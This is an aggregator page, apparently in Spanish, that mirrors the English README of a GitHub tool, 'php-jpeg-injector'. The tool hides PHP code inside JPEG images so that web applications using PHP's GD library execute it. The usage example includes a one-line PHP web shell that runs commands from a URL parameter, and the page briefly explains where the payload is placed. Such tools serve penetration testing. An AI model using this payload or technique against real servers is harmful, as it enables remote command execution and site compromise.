dlegs/php-jpeg-injector
Acerca de
Inyecta cargas útiles de PHP en imágenes JPEG
Diseño y multimediaCrecimiento de estrellas medido
- in 24h
- 0
- in 7 days
- 0
- in 15 days
- 0
- in 1 month
- Recopilando historial
Cambios netos en períodos que se solapan, no totales diarios. Los datos no disponibles se dejan en blanco. Las estrellas indican interés, no calidad.
README.md
Originalphp-jpeg-injector
Injects php payloads into jpeg images. Related to this post.
Use Case
You have a web application that runs a jpeg image through PHP's GD graphics library.
Description
This script injects PHP code into a specified jpeg image. The web application will execute the payload if it interprets the image. Make sure your input jpeg is uncompressed!
Usage
python3 gd-jpeg.py [JPEG] [PAYLOAD] [OUTPUT_JPEG]
e.g. python3 gd-jpeg.py cat.jpeg '<?php system($_GET["cmd"]);?>' infected_cat.jpeg
How it works
PHP code is injected in the null/garbage (brown) space after the scan header:

The new infected jpeg is run through PHP's gd-library. PHP interprets the payload injected in the jpeg and executes it.
Explorar proyectos relacionados
Cargando…